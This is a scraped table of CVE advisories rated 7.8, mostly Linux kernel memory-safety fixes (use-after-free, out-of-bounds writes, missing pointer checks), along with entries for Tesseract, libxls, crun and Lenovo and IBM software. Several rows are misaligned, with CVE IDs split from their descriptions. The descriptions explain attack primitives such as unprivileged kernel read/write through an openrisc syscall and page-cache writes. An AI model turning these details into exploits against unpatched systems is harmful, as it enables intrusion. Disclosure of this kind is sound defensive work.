CVE-2026-89619	In the Linux kernel, the following vulnerability has been resolved: HID: intel-thc-hid: intel-quickspi: bound GET_REPORT response to the caller buffer quickspi_hid_raw_request() receives the caller's buffer length in len, but quickspi_get_report() never sees it and copies the whole device-supplied response into buf regardless: memcpy(buf, qsdev->report_buf, qsdev->report_len); qsdev->report_len comes from the input report the touch controller returns, while buf is sized to whatever the caller asked hidraw for through HIDIOCGFEATURE or HIDIOCGINPUT. A response larger than that overflows buf with device-controlled content. The intel-quicki2c sibling already passes the caller length down to quicki2c_get_report() and validates the response against it before the copy. Do the same here.	7.8	More Details
CVE-2026-89609	In the Linux kernel, the following vulnerability has been resolved: ecryptfs: hold msg ctx list lock when cleaning daemon queue ecryptfs_exorcise_daemon() drops queued messages from a dying daemon without holding ecryptfs_msg_ctx_lists_mux, but ecryptfs_msg_ctx_alloc_to_free() requires that lock. Take the list lock while moving the queued contexts back to the free list to avoid racing with other global msg ctx list users.	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: power: supply: charger-manager: register regulators before exposing sysfs charger_manager_remove() and the err_reg_extcon probe error path free each charger regulator with regulator_put() before tearing down the power_supply sysfs entries (power_supply_unregister()). charger_manager_remove() also calls try_charger_enable(cm, false) after the regulator_put() loop. A concurrent write to a charger's externally_control sysfs attribute that lands between regulator_put() and power_supply_unregister() can run charger_externally_control_store() and call		

CVE-2026-89472	try_charger_enable(), which, when charging is enabled, dereferences the already-freed consumer handle. When charging is enabled, try_charger_enable(cm, false) in .remove() also dereferences the freed handles directly. Both leave use-after-free windows. Symmetrically, probe registers the sysfs entries (power_supply_register) before acquiring the regulators (regulator_get, inside charger_manager_register_extcon), so userspace can reach externally_control before the regulators are available. Split charger_manager_register_extcon() on the sync/async boundary: charger_manager_get_regulators() (regulator_get only, no async producer) now runs before power_supply_register() so sysfs is not live before regulators are available, and charger_manager_register_extcon() keeps only the extcon notifier/work setup, still after power_supply_register() so a power_supply_register() failure cannot reach extcon setup. This keeps the sysfs setup/teardown ordering symmetric without introducing an asynchronous producer on the earlier probe-error path. Move power_supply_unregister() and try_charger_enable(cm, false) ahead of the regulator_put() loop on both teardown paths, and adjust err_reg_extcon (power_supply_unregister() then fall through err_regulator for regulator_put(); get_regulators self-rolls back on its own failure). This does not address the separate extcon-notifier-driven deref of the same handles, which needs its own synchronization design. Found by an in-house static analysis tool.	7.8	More Details
CVE-2026-89622	In the Linux kernel, the following vulnerability has been resolved: HID: mcp2221: clear rxbuf after I2C/SMBus transfer completes mcp_i2c_smbus_read() stores the caller-supplied buffer pointer in mcp->rxbuf for the duration of a transfer but never clears it when the transfer finishes or times out. Once the caller frees or reuses the buffer, mcp->rxbuf becomes a dangling pointer. A delayed or spurious MCP2221_I2C_GET_DATA report can then drive mcp2221_raw_event() to memcpy device data into the freed memory, causing a write use-after-free. Route all return paths through a single exit point that clears mcp->rxbuf and mcp->rxbuf_size, so that the existing !mcp->rxbuf guard in the raw_event handler can reject any report arriving after the transfer has ended.	7.8	More Details
CVE-2026-88047	Tesseract is an open source OCR engine. In version 5.5.3 and earlier, Classify::ReadNormProtos in src/classify/normmatch.cpp parses the NORMPROTO component of a .traineddata file and uses std::istream::operator>>(char*) to extract a whitespace-delimited token into a fixed 61-byte stack buffer without setting a stream width. The 100-byte line buffer can carry a token of up to 99 characters, so a token longer than 60 characters writes up to 39 attacker-controlled bytes past the buffer during TessBaseAPI::Init of the legacy engine, causing stack corruption, denial of service, and potentially control-flow hijacking on affected standard-library implementations. Builds using Apple's libc++ C++20 bounded array overload are incidentally protected, while typical libstdc++ builds remain affected. No fixed release is available as of this review.	7.8	More Details
CVE-2026-80933	In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: validate default EEPROM firmware size The default EEPROM firmware is parsed and copied as a full EEPROM without checking its length. A truncated file can make the driver read beyond the firmware buffer during variant validation or the fallback copy. Reject files shorter than MT7996_EEPROM_SIZE before parsing or copying the firmware.	7.8	More Details
CVE-2026-80931	In the Linux kernel, the following vulnerability has been resolved: w1: ds28e17: reject an oversize length on an I2C block read w1_f19_i2c_master_transfer() is the master_xfer for the DS28E17 1-Wire to I2C bridge. On an I2C_M_RECV_LEN read, it takes the length from the device. The downstream slave puts a length byte in buf[0]. The driver then reads that many bytes into buf[1] with w1_f19_i2c_read(). buf[0] is controlled by the device and can be 0 to 255. w1_f19_i2c_read() only rejects a zero count. The caller buffer is I2C_SMBUS_BLOCK_MAX + 2, so 34 bytes. A length above 32 makes the read run past it, up to about 222 bytes out of bounds. The SMBus core does check buf[0] against I2C_SMBUS_BLOCK_MAX. That check runs after master_xfer returns. By then the write is already done. i2c-algo-bit rejects an oversize length before it copies, and returns -EPROTO. Reject a length above I2C_SMBUS_BLOCK_MAX at both RECV_LEN sites, the same way i2c-algo-bit does.	7.8	More Details
CVE-2026-89624	In the Linux kernel, the following vulnerability has been resolved: HID: universal-pidff: stop the device when force-feedback init fails universal_pidff_probe() starts the device with hid_hw_start() and then, if force-feedback initialisation fails, returns the error through a label that only does "return error". The device is left started. The HID core does not unwind on the driver's behalf. __hid_device_probe() releases the devres group, closes the report and clears hdev->driver: if (ret) { devres_release_group(&hdev->dev, hdev->devres_group_id); hid_close_report(hdev); hdev->driver = NULL; } The hidraw character device that hid_hw_start() registered through hid_connect() is allocated with kzalloc() and added with cdev_device_add(), so it is not devres-managed and survives that. With hdev->driver NULL, hid_device_remove() skips hid_hw_stop() as well, because it only unwinds while a driver is still attached. The registration therefore outlives the device on both paths. Opening the surviving /dev/hidrawX writes into freed memory. KASAN reports a use-after-free write from hidraw_open() -> hid_hw_open() -> the transport's open callback, which takes a spinlock inside the freed object. A descriptor that carries a PID usage page and no input reports is enough: hidraw claims the device so hid_hw_start() succeeds, while hid->inputs stays empty so force-feedback init fails. The other failure returns in hid_pidff_init_with_quirks() - no output reports, an allocation failure, pidff_init_fields(), pidff_check_autocenter(), an unusable effect count, input_ff_create() - all reach the same label. Stop the device on that path. hid-dr.c and hid-emsff.c, which start the device with the same HID_CONNECT_DEFAULT & ~HID_CONNECT_FF mask, already do this. The two earlier gotos must keep returning without hid_hw_stop(), since neither has a started device, so give the path that fails after the start its own label. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>	7.8	More Details

CVE-2026-89638	In the Linux kernel, the following vulnerability has been resolved: smb: client: clear setuid/setgid bit on write with cifsacl/modefromsid/posix extensions When a file has the setuid or setgid bit set and is written to, the VFS strips those bits and issues a setattr with ATTR_KILL_SUID/ATTR_KILL_SGID together with an ATTR_MODE carrying the already-cleared mode. Both cifs_setattr_unix() and cifs_setattr_nounix() unconditionally dropped ATTR_MODE in that case: /* skip mode change if it's just for clearing setuid/setgid */ if (attrs->ia_valid & (ATTR_KILL_SUID|ATTR_KILL_SGID)) attrs->ia_valid &= ~ATTR_MODE; This is fine for the default mount, where the mode is only emulated via the DOS read-only attribute and cannot represent the setuid/setgid bits anyway. However, with the "cifsacl" or "modefromsid" mount options the mode is stored on the server through an ACL (id_mode_to_cifs_acl()), with the SMB3.1.1 POSIX extensions the mode is sent to the server directly, and with the SMB1 Unix extensions (cifs_setattr_unix) the mode is sent via CIFSSMBUnixSetPathInfo(). In all those cases dropping ATTR_MODE means the cleared mode is never pushed to the server, so the setuid/setgid bit survives the write. This is a security issue: on local filesystems the setuid bit is stripped when a file is written, but over these cifs.ko mounts the bit persists on the server, potentially allowing an unexpected privilege escalation on subsequent execution. Fix this in two places: 1. cifs_setattr_nounix(): only take the "skip mode change" shortcut when the mode is emulated via the DOS read-only attribute (i.e. neither cifsacl/modefromsid nor the SMB3.1.1 POSIX extensions are in effect), so that the cleared mode is propagated to the server in the ACL / POSIX cases. 2. cifs_setattr_unix(): this function is only called when Unix extensions are in effect, so the mode is always stored on the server. Remove the shortcut entirely so that the cleared mode is always pushed.	7.8	More Details
CVE-2026-81006	In the Linux kernel, the following vulnerability has been resolved: ipmi: Remove all sysfs files on registration failure ipmi_add_smi() creates the nr_users and nr_msgs files before trying to create the maintenance_mode file. If that last creation fails, the error path removes only nr_users before dropping the final reference to the interface. Remove nr_msgs as well so no sysfs attribute embedded in the freed interface remains registered.	7.8	More Details
CVE-2026-81008	In the Linux kernel, the following vulnerability has been resolved: interconnect: Fix use after free in icc_get() and of_icc_get_by_index() In of_icc_get_by_index() and icc_get(), if the dynamic allocation for path->name fails via kasprintf(), the error handling path directly calls kfree(path) to free the path object and returns an error. However, prior to this point, path_find() calls path_init(), which already links the path's requests into the req_list of the respective interconnect nodes via hlist_add_head(). Directly invoking kfree(path) leaves dangling pointers in the hlist. A subsequent call to icc_get() or icc_set_bw() will traverse or modify these corrupted lists, triggering a slab use afterfree. KASAN report showing the vulnerability when reproducing via debugfs: BUG: KASAN: slab-use-after-free in path_find+0x6f8/0xcfc Write of size 8 at addr fff000000d43f748 by task sh/1 ... Call trace: kasan_report+0xac/0xfc path_find+0x6f8/0xcfc icc_get+0x148/0x380 icc_get_set+0xf8/0x2d0 ... Freed by task 1: kfree+0x1a0/0x4a4 icc_get+0x2cc/0x380 icc_get_set+0xf8/0x2d0 Fix this by replacing kfree(path) with the proper teardown function, icc_put(path), which safely removes the requests from the req_list using hlist_del() and drops the provider usage references before freeing the memory. Additionally, in icc_get(), ensure that the icc_lock mutex is released prior to calling icc_put(path) to avoid a deadlock, as icc_put() internally acquires the same lock.	7.8	More Details
CVE-2026-89690	In the Linux kernel, the following vulnerability has been resolved: nfsd: defer vfree of compound ops to fix rpc_status UAF The rpc_status netlink dumpit walks every in-flight svc_rqst under rcu_read_lock and, for NFSv4 requests, reads opnums out of args->ops[]. But args->ops is a separate vmalloc buffer freed synchronously by vfree() in nfsd4_release_compoundargs() at the end of every compound. The dumpit's rcu_read_lock pins the svc_rqst struct itself (freed via kfree_rcu), but nothing defers the vfree of the ops buffer across the RCU grace period. A concurrent compound completion can therefore free the buffer while the dumpit is reading it — a use-after-free on vmalloc memory. The trailing seqcount recheck (smp_load_acquire of rq_status_counter) cannot undo a load that already retired against freed memory. Fix by replacing vfree(args->ops) with kvfree_rcu_mightsleep(), which defers the free until after an RCU grace period. This makes the existing rcu_read_lock in the dumpit sufficient to protect the read. The tradeoff is that completed compound ops buffers (up to 200 * sizeof(struct nfsd4_op)) persist in memory slightly longer, across one grace period, before being reclaimed.	7.8	More Details
CVE-2026-81010	In the Linux kernel, the following vulnerability has been resolved: io_uring/waitid: honor task_work cancellation io_waitid_cb() may run through the fallback task_work path when task_work_add() can no longer queue work to the originating task. The fallback runs from a kworker and io_uring marks such task work as canceled through tw.cancel. io_waitid_cb() currently ignores tw.cancel and calls __do_wait(). waitid is task-context dependent: __do_wait() performs child lookup relative to current, and the retry path also uses current->signal->wait_chldexit. If the callback runs from the fallback kworker, current is therefore not the task that submitted the request. Honor tw.cancel before entering __do_wait(). Complete the request with -ECANCELED and skip the siginfo copy, since canceled task work may run without the submitting task's userspace execution context. Keep the existing siginfo handling for normal waitid completion and explicit cancellation.	7.8	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: platform/x86/amd/pmc: Fix LPS0 and debugfs leaks when STB init fails amd_pmc_probe() registers the LPS0 s2idle handler with acpi_register_lps0_dev() and creates the driver's debugfs directory before calling amd_stb_s2d_init(), which is the last step in probe that can fail. When amd_stb_s2d_init() fails (for example the S2D telemetry region cannot be ioremapped on a long-running system, or the SMU rejects the S2D setup) the error path only calls pci_dev_put() and returns. This leaves amd_pmc_s2idle_dev_ops on the global lps0_s2idle_devops_head list		

2026-81015	and leaks the debugfs directory, while the devm-managed resources backing the handler are torn down. Reloading the module then walks the corrupted list in acpi_register_lps0_dev() and hits: list_add corruption. next->prev should be prev, but was NULL. kernel BUG at lib/list_debug.c:29! acpi_register_lps0_dev+0x44/0x80 amd_pmc_probe+0x224/0x380 [amd_pmc] platform_probe+0x67/0x90 Even without a reload, the stale registration means the next s2idle transition calls into torn-down driver state. Unwind the debugfs directory and the LPS0 registration on the amd_stb_s2d_init() error path. acpi_unregister_lps0_dev() is safe to call unconditionally here: it is guarded on the same conditions as acpi_register_lps0_dev(), which is exactly what amd_pmc_remove() already relies on.	7.8	More Details
CVE-2026-89670	In the Linux kernel, the following vulnerability has been resolved: nfsd: hold rcu across localio cmpxchg retry nfsd_file objects are freed via call_rcu (filecache.c:296), and nfsd_file_slab is created without SLAB_TYPESAFE_BY_RCU (KMEM_CACHE(nfsd_file, 0) at filecache.c:789), so the slab page backing a freed nfsd_file becomes freely reclaimable once the RCU grace period elapses. The again: retry block in nfsd_open_local_fh() loads a pointer with cmpxchg and then calls nfsd_file_get(new) (which is refcount_inc_not_zero) without holding rcu_read_lock. The sole caller nfs_open_local_fh() drops rcu_read_lock before invoking this helper, so no outer reader-side critical section covers the load. CPU 0 (nfsd_open_local_fh) CPU 1 (nfsd_file_put_local) ----- ----- new = cmpxchg(pnf, NULL, ...) nf = xchg(pnf, NULL) nfsd_file_put(nf) last ref -> call_rcu() /* grace period elapses; slab page recycled */ nfsd_file_get(new) refcount_inc_not_zero(&new->nf_ref) /* operates on recycled memory */ A non-zero word at the nf_ref offset of the recycled object makes the refcount bump appear to succeed, and the caller then dereferences new->nf_net and new->nf_file out of freed memory. Fix by taking rcu_read_lock() immediately before the cmpxchg and releasing it on all three exits of the if (new) block: the goto-again retry, the lost-race cleanup path, and the install-succeeded path. nfsd_file_put() and nfsd_net_put() stay outside the RCU section so they remain free to block.	7.8	More Details
CVE-2026-89436	In the Linux kernel, the following vulnerability has been resolved: platform/x86: panasonic-laptop: Fix sentinel write past pcc->sinf[] acpi_pcc_retrieve_biosdata() rejects SINF packages only when pcc->num_sifr is strictly less than hkey->package.count, then unconditionally writes a trailing sentinel at pcc->sinf[hkey->package.count]. But pcc->sinf[] is allocated with exactly pcc->num_sifr elements (valid indices 0..num_sifr-1), so that write needs num_sifr strictly greater than package.count to stay in bounds -- num_sifr == package.count passes the existing check but still overflows by one element. This is exactly the case probe()'s existing num_sifr++ workaround ("Some DSDT-s have an off-by-one bug where the SINF package count is one higher than the SQTY reported value") is written to accommodate: when a DSDT's SINF package count equals SQTY+1, the workaround makes num_sifr equal to package.count, which is precisely the boundary that overflows here. Found via UBSan (array-index-out-of-bounds) on hardware where HKEY.SQTY returns 37 and HKEY.SINF()'s package has 38 elements: num_sifr becomes 38 after the += 1 workaround, the loop correctly fills indices 0..37, and the sentinel write then targets index 38, one past the end -- a silent 4-byte heap overflow on kernels without CONFIG_UBSAN. Tightening the rejection check to num_sifr <= package.count would avoid the overflow but breaks probe() entirely on exactly this hardware, since num_sifr == package.count is the case the off-by-one workaround exists to support. Nothing else in the driver reads this sentinel value back, so simply skip the write when there is no room for it instead.	7.8	More Details
CVE-2026-89668	In the Linux kernel, the following vulnerability has been resolved: nfsd: move nfsd_debugfs_init() after nfsd4_init_slabs() in init_nfsd() nfsd_debugfs_init() runs before nfsd4_init_slabs() in init_nfsd(). If the slab allocation fails, the bare "return retval" bypasses nfsd_debugfs_exit(), leaving orphan debugfs files with stale fops pointers into the freed module text. Move nfsd_debugfs_init() to after the slab init succeeds, so the early return has no debugfs state to clean up. Since debugfs is now the more recently initialized of the two, also update the unwind paths to match reverse-initialization (LIFO) order: run nfsd_debugfs_exit() before nfsd4_free_slabs() in both the init_nfsd() error path and exit_nfsd(). The nfsd debugfs files only reference module-global state and have no dependency on the slab caches, so that reordering is a cleanup with no functional change.	7.8	More Details
CVE-2026-89440	In the Linux kernel, the following vulnerability has been resolved: mmc: via-sdmmc: stop card-detect handling on probe failure request_irq() registers the SD card-detect interrupt and the probe enables it before mmc_add_host() runs. If mmc_add_host() fails, the error path only unmaps the registers and returns: the interrupt stays registered, so the handler keeps running against the host once it is freed. via_sdc_isr() dereferences sdhost and its MMIO base and schedules carddet_work, which via_sdc_card_detect() also runs against freed memory through its container_of() dereference. Add a probe-error path that disables and frees the interrupt and cancels carddet_work before unmapping. carddet_work can re-enable the device interrupt via via_reset_pcictrl(), which restores PCIINTCTRL, so mask it again after cancelling the work. This issue was found by an in-house static analysis tool and confirmed by manual code review.	7.8	More Details
CVE-2026-89441	In the Linux kernel, the following vulnerability has been resolved: mmc: via-sdmmc: cancel card-detect work on remove Disabling the device interrupt and freeing the IRQ prevents new card-detect work from being queued, but carddet_work already queued by the handler can still run after via_sd_remove() returns. via_sdc_card_detect() recovers the host through container_of() and dereferences its MMIO base; once remove() returns the host can be freed, so that work would touch freed memory. Cancel carddet_work after freeing the IRQ and before cancelling finish_bh_work, which the card-detect handler can also queue. carddet_work can re-enable the interrupt through via_reset_pcictrl(); mask it again afterwards. This issue was found by an in-house static analysis tool and confirmed by manual code review.	7.8	More Details

CVE-2026-2310	IBM webMethods Integration Server 11.1 IBM webMethods Integration is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.	7.8	More Details
CVE-2026-79591	A heap-buffer-overflow and use-after-free vulnerability exists in the xls_getCSS() function of libxls 1.6.3 due to insufficient validation of a file-controlled font index.	7.8	More Details
CVE-2026-89442	In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Validate socket ID in clos_assoc ioctl isst_if_clos_assoc() validates the user-supplied socket_id with 'socket_id > topology_max_packages()', but isst_common.sst_inst[] is allocated with topology_max_packages() entries, so the valid index range is [0, topology_max_packages()). The '>' comparison lets socket_id == topology_max_packages() pass and index one entry past the array. In addition, isst_common.sst_inst[socket_id] is NULL for an in-range package that has no bound TPMI SST instance, and the pointer is used without a NULL check. Both the out-of-bounds entry and the NULL pointer are then dereferenced by map_partition_power_domain_id() and the following power_domain_info access. Reject socket_id >= topology_max_packages() and a NULL sst_inst, matching the checks already performed by get_instance().	7.8	More Details
CVE-2026-63427	An authentication bypass vulnerability was discovered in Lenovo Software Fix that could allow a local authenticated user to perform arbitrary code execution with elevated privileges.	7.8	More Details
CVE-2026-89488	In the Linux kernel, the following vulnerability has been resolved: openvswitch: Fix CT limit teardown use-after-free Packet processing uses CT limit state under RCU, while netns teardown frees that state under ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state. An unprivileged user can trigger this bug from a user and network namespace, causing a slab-use-after-free in ovs_ct_execute() when the netns is torn down. Publish the CT limit pointer through RCU, remove it before teardown, and wait for readers before freeing its contents. Keep ovs_mutex around individual CT limit updates, and use the RCU read-side lock while GET traverses the RCU-protected limit lists. Netns teardown detaches the RCU-protected CT limit state in the pernet .pre_exit callback while holding ovs_mutex. The pernet core guarantees an RCU grace period between the .pre_exit and .exit callbacks, so the .exit callback completes the teardown without adding any extra synchronization. The netlink command handlers do not need NULL checks because the userspace netlink socket holds an active reference to its network namespace while a request is processed. The per-netns exit path therefore cannot run concurrently with SET, DEL, or GET for that socket's namespace.	7.8	More Details
CVE-2026-19136	A potential command injection vulnerability was reported in the Tianxi AI Agent PC Application, distributed exclusively in the Chinese market, that could allow operating system commands to be executed if a local user opens a specially crafted link that is handled by the application.	7.8	More Details
CVE-2026-11813	A potential improper permissions vulnerability was reported in the Lenovo Filez Client application that could allow a local authenticated user to escalate privileges.	7.8	More Details
CVE-2026-89646	In the Linux kernel, the following vulnerability has been resolved: ceph: fix leaked inode reference on writeback abort at umount ceph_dirty_folio() takes a wrbuffer claim on each newly dirtied folio: it bumps i_wrbuffer_ref (taking an ihold() on the 0->1 transition) and attaches the snap_context to folio->private. That claim is released only by ceph_put_wrbuffer_cap_refs(), which for a submitted write runs from writepages_finish(). In ceph_submit_write(), if ceph_inc_osd_stopping_blocker() fails -- which happens during umount -- the request is aborted before submission: the already-collected folios are only redirtied and unlocked, so writepages_finish() never runs and the claim is leaked. redirty_page_for_writepage() -> folio_redirty_for_writepage() -> filemap_dirty_folio() sets PG_dirty directly and does not go through ->dirty_folio, so ceph_dirty_folio() is not re-entered to rebalance it. Because every subsequent writeback also fails the osd_stopping_blocker, i_wrbuffer_ref never returns to 0, the ihold() is never dropped, and the inode cannot be evicted: VFS: Busy inodes after unmount of ceph kernel BUG at fs/super.c:650! Release the orphaned claim in the abort path before redirtying, via ceph_undo_wrbuffer_claim(): detach the snap_context, drop the wrbuffer reference (letting i_wrbuffer_ref reach 0 and iput() the inode), and drop the snap_context reference -- i.e. do what writepages_finish() would have done for these never-submitted folios. Only the locked_pages entries are undone; folios still in the fbatch were never dirty-cleared by this call (folio_clear_dirty_for_io() is the ownership-transfer point, and a successful move NULLs the fbatch slot), so they hold no claim this call owns.	7.8	More Details
CVE-2026-89641	In the Linux kernel, the following vulnerability has been resolved: cifs: clear tcon after cifsFileInfo_put() in cifs_file_set_size() When the else branch of cifs_file_set_size() finds a writable file handle via find_writable_file(), it borrows tcon and server from the handle's tlink, attempts the handle-based set_file_size() RPC, and then releases the handle with cifsFileInfo_put(). If set_file_size() fails, execution falls through to the path-based fallback, which reuses the borrowed tcon and server under the "if (tcon == NULL)" guard. Since tcon is not NULL at that point, the guard is skipped. If cifsFileInfo_put() dropped the last reference on a tlink that was already removed from the tlink tree (TCON_LINK_IN_TREE cleared, as happens during reconnection or session teardown), cifs_put_tlink() will have freed tcon; the subsequent set_path_size()	7.8	More Details

	call is then a use-after-free. Setting tcon = NULL after cifsFileInfo_put() causes the existing guard to take the cifs_sb_tlink() path, which acquires a fresh reference for the path-based operation or fails cleanly if the session is gone.		
CVE-2026-89487	In the Linux kernel, the following vulnerability has been resolved: openvswitch: only skb_tx_error() a packet we are about to drop queue_userspace_packet() borrows the packet skb -- it only copies it into a private netlink message (user_skb) and does not own it; on return do_execute_actions() keeps forwarding it through the flow's remaining actions. Its error path nevertheless calls skb_tx_error(skb), which via skb_zcopy_clear() does skb_shinfo(skb)->flags &= ~SKBFL_ALL_ZEROCOPY, stripping SKBFL_SHARED_FRAG from that live skb (skb_tx_error()'s kerneldoc says "skb must be freed afterwards"). For a MSG_ZEROCOPY skb carrying page-cache frags, SKBFL_SHARED_FRAG is what makes esp_input() skb_cow_data() before in-place AEAD; once it is stripped a later local ESP-in-UDP delivery decrypts in place over pages the sender does not own -- an unprivileged page-cache write (the "Fragnesia" primitive). do_execute_actions() ignores output_userspace()'s return value, so any action after a failed USERSPACE upcall inherits the stripped skb. Move the skb_tx_error() to the flow-miss drop path - the "default" branch of ovs_dp_process_packet()'s switch(error), before kfree_skb(). The call has been here since commit 36d5fe6a0007 ("core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors") but was harmless until esp_input() began relying on SKBFL_SHARED_FRAG to gate in-place decrypt; only then did stripping it on a still-forwarded skb become a page-cache write primitive.	7.8	More Details
CVE-2026-89497	In the Linux kernel, the following vulnerability has been resolved: orangefs: skip leading spaces before parsing client debug masks orangefs_prepare_cdm_array() sizes each client debug keyword buffer with strcspn(cds_head, " "), but then parses the keyword with %s. The %s conversion skips leading whitespace, while strcspn() does not. If a client debug entry starts with a space, the allocation can be sized for an empty keyword while sscanf() copies the following non-empty token. This can write past the end of the allocated keyword buffer. Skip leading spaces before computing the keyword length so the allocation matches the string parsed by sscanf().	7.8	More Details
CVE-2026-89489	In the Linux kernel, the following vulnerability has been resolved: openrisc: fix arbitrary kernel memory access via or1k_atomic syscall sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user pointers, v1 and v2, and swaps the words they point to in hand-written assembly. l.lwz r29,0(r4) l.lwz r27,0(r5) l.sw 0(r4),r27 l.sw 0(r5),r29 The pointers are not checked with access_ok(). The four memory accesses also have no exception table entries. A caller passes a kernel address as either pointer, and the syscall reads from and writes to it directly. This gives an unprivileged process a kernel read/write primitive. It overwrites kernel data such as the sys_call_table, gaining code execution in kernel context. Check both pointers before entering the critical section. Add fixups for the four memory accesses so faults on valid but unmapped user addresses return -EFAULT. [shorne@gmail.com: fix comment style]	7.8	More Details
CVE-2026-89607	In the Linux kernel, the following vulnerability has been resolved: ecryptfs: reject oversized encrypted_key_size in parse_tag_3_packet parse_tag_3_packet() set encrypted_key_size from the Tag 3 packet body without bounding it against ECRYPTFS_MAX_KEY_BYTES (64). When encrypted_key_size > 64, decrypt_passphrase_encrypted_session_key() sets decrypted_key_size = encrypted_key_size and performs two out-of-bounds writes: 1. crypto_skcipher_decrypt() writes encrypted_key_size bytes into decrypted_key[64] via scatterlist, overflowing into the parent ecryptfs_auth_tok struct. 2. memcpy(crypt_stat->key, decrypted_key, decrypted_key_size) writes into crypt_stat->key[64], corrupting root_iv, keysig_list, and mutexes in ecryptfs_crypt_stat. Only AES-192 (cipher code 0x08) enables this because it sets crypt_stat->key_size = 24 independently of encrypted_key_size, allowing crypto_skcipher_setkey() to succeed while encrypted_key_size exceeds ECRYPTFS_MAX_KEY_BYTES. The PKI decryption path (parse_tag_65_packet) already validates decrypted_key_size <= ECRYPTFS_MAX_KEY_BYTES; the passphrase path omits this check. Bound encrypted_key_size against ECRYPTFS_MAX_KEY_BYTES (64) rather than ECRYPTFS_MAX_ENCRYPTED_KEY_BYTES (512). The 64-byte limit also protects the 512-byte encrypted_key[] buffer, so the former 512-byte check is removed as redundant. [tyhicks: Adjust the code comment to refer to macros representing the buffer sizes rather than mentioning the buffer size values since they may change in the future]	7.8	More Details
CVE-2026-84042	A flaw was found in crun. When crun is built with libkrun and a container is started rootful with passt networking (krun.use_passt), crun can execute attacker-controlled payload from the container image with host root privileges. The issue is a regression in crun 1.29. It affects crun >= 1.29	7.8	More Details
CVE-2026-89585	In the Linux kernel, the following vulnerability has been resolved: auxdisplay: charlcd: cancel backlight work on registration failure With CONFIG_CHARLCD_BL_FLASH, charlcd_init() schedules bl_work before charlcd_register() calls misc_register(). If registration fails, the caller frees the charlcd object while delayed work still contains its address. Add charlcd_deinit() to cancel the delayed work and turn the backlight off. Use it for both registration rollback and normal unregistration.	7.8	More Details
CVE-2026-89584	In the Linux kernel, the following vulnerability has been resolved: block: validate user space vectors during extraction The bio-based drivers don't necessarily check the alignment split, and stacking block drivers don't always handle a misalignment detected after submitting the bio. Validate user vectors against the device's dma_alignment as the bio is built from the iov_iter, rejecting misaligned early with -EINVAL.	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: bpf, x86: Fix per-CPU address resolution		

CVE-2026-89581	into an extended register The destination of the per-CPU address MOV is encoded in ModRM.reg, which is extended by REX.R, but the REX prefix is built with add_1mod(), which sets REX.B. REX.B extends ModRM.rm and SIB.base, and this instruction addresses memory as disp32 with no base, so the bit has no effect at all and the high register bit is simply lost. Every is_ereg() destination therefore resolves to the wrong register, picking whichever one shares the low three bits: R5 -> RAX R7 -> RBP R8 -> RSI R9 -> RDI With BPF_REG_5, whose reg2hex is 0, the emitted 65 49 03 04 25 <off> add %gs:<off>,%rax adds the per-CPU offset to RAX rather than R8. The destination keeps the unadjusted address and RAX is clobbered, so the program goes on to dereference a pointer that was never made per-CPU: BUG: unable to handle page fault for address: 0000607e386a8894 RIP: bpf_prog_707837aafd2aa9ae_update_percpu_data+0x93/0xc9 Call Trace: __bpf_prog_test_run_raw_tp+0x2dc/0x7d0 __flush_smp_call_function_queue+0x1e9/0xc80 Kernel panic - not syncing: Fatal exception in interrupt R5 is the mildest of the four, aliasing a scratch register and faulting at the store. R7 aliases RBP and would corrupt the frame pointer, R8 and R9 alias the argument registers. Use add_2mod() so the register goes through REX.R, matching how add_2reg() places it in ModRM.reg and how emit_priv_frame_ptr() hardcodes 0x4c for the same instruction with R9. Encodings for the non-extended registers are unchanged. Problem showed up when trying to resurrect BPF_GCC CI (selftests built with BPF_GCC). This has gone unnoticed because clang reloads the address into R1 before each per-CPU access, so the destination is never an extended register. GCC keeps several per-CPU addresses live at once, and test_progs-bpf_gcc panics the kernel in global_percpu_data/init, where the address of a .percpu variable ends up in R5.	7.8	More Details
CVE-2026-89580	In the Linux kernel, the following vulnerability has been resolved: bpf: Disable preemption in __bpf_get_stack get_perf_callchain() returns a per-CPU perf_callchain_entry buffer and releases its recursion slot via put_callchain_entry() before returning, so nothing keeps the entry reserved while __bpf_get_stack() consumes it below. A preemptible BPF program (e.g. a non-sleepable raw tracepoint program on a PREEMPT kernel, which runs under migrate_disable() but not preempt_disable()) can be scheduled out between obtaining the entry and the copy. Another task scheduled on the same CPU then reuses the same per-CPU buffer and overwrites trace->nr with a larger value. copy_len is then computed from the inflated trace->nr and can exceed the caller's buffer, causing an out-of-bounds write in the memcpy() and in the build_id path. The rcu_read_lock() taken here alone does not prevent this. It is only taken on the may_fault path, and under CONFIG_PREEMPT_RCU it does not disable preemption; it merely keeps perf's callchain buffer array alive (freed via call_rcu()) and does nothing to stop another task from reusing the entry. Disable preemption around obtaining the callchain entry and copying it into the caller's buffer, so the entry cannot be reused underneath us and trace->nr stays bounded by max_depth. Build ID resolution may fault and is therefore deferred until after preemption is re-enabled; by then the instruction pointers have already been copied into buf, so it operates only on that private copy. Note, preempt_disable() also subsumes the buffer-lifetime guarantee the rcu_read_lock() provided, since a preempt-disabled section is an RCU read-side critical section for the callchain buffers' call_rcu() reclaim. [changed Fixes: commit]	7.8	More Details
